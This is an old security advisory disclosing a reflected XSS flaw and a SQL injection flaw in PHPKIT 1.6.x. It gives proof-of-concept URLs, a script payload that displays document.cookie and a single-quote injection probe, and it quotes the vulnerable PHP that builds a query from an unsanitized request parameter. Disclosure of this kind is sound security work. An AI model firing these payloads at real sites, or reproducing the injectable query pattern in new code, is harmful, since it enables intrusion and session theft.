phpkitSQLXSS.txt

`  
Author: Steve  
Date: November 22, 2004  
Affected Software:PHP KIT  
Software Version: 1.6.03 -> 1.6.1  
Software URL: http://www.phpkit.de  
  
Attack: SQL Injection, allowing people to manipulate the query into   
pulling data.  
XSS  
  
  
  
############################################################################################################  
  
What is PHPKIT:  
PHPKIT is a modular developed Homepage Software which can simple manage   
contents of,  
messages,guest book, forums and more.  
  
  
############################################################################################################  
  
XSS  
http://www.target.com/phpkit/popup.php?img="><script>alert(document.cookie)</script>  
  
############################################################################################################  
  
SQL INJECTION  
http://www.target.com/phpkit/include.php?path=guestbook/print.php&id=1'  
  
  
CODE:  
  
<?php  
if (isset($_REQUEST['id'])) $id=$_REQUEST['id'];  
$gbookinfo=$DB->fetch_array($DB->query("SELECT * FROM ".$db_tab['gbook']."   
WHERE gbook_id='".$id."' LIMIT 1"));  
eval ("\$site_body.= \"".getTemplate("guestbook/print")."\";");  
?>  
  
  
############################################################################################################  
  
  
cya Steve  
  
  
  
  
  
`